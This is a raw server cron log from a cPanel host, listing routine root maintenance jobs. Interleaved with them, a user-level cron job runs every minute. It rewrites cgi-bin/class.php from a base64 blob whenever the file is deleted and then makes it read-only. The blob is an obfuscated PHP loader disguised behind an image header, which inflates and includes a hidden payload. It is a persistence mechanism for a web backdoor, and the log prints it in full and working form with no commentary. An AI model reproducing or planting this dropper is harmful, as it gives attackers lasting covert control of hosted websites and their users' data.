Sep  9 11:14:01 server CROND[13413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:14:01 server CROND[13414]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:15:01 server CROND[13794]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 11:15:01 server CROND[13796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:15:01 server CROND[13798]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 11:15:01 server CROND[13802]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:15:01 server CROND[13801]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 11:15:01 server CROND[13804]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 11:15:01 server CROND[13803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:15:01 server CROND[13800]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 11:16:01 server CROND[14646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:16:01 server CROND[14647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:16:01 server CROND[14645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:17:01 server CROND[15007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:17:01 server CROND[15008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:17:01 server CROND[15006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:18:01 server CROND[15391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:18:01 server CROND[15393]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:18:01 server CROND[15392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:19:01 server CROND[15901]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:19:01 server CROND[15903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:19:01 server CROND[15902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:20:01 server CROND[16337]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 11:20:01 server CROND[16338]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 11:20:01 server CROND[16344]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 11:20:01 server CROND[16343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:20:01 server CROND[16345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:20:01 server CROND[16341]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 11:20:01 server CROND[16342]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 11:20:01 server CROND[16347]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 11:20:01 server CROND[16349]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:21:01 server CROND[17169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:21:01 server CROND[17172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:21:01 server CROND[17173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:22:01 server CROND[17538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:22:01 server CROND[17540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:22:01 server CROND[17539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:23:01 server CROND[17920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:23:01 server CROND[17918]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:23:01 server CROND[17919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:24:01 server CROND[18384]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:24:01 server CROND[18385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:24:01 server CROND[18386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:25:01 server CROND[18773]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 11:25:01 server CROND[18775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:25:01 server CROND[18781]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 11:25:01 server CROND[18783]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 11:25:01 server CROND[18784]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 11:25:01 server CROND[18787]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:25:01 server CROND[18786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
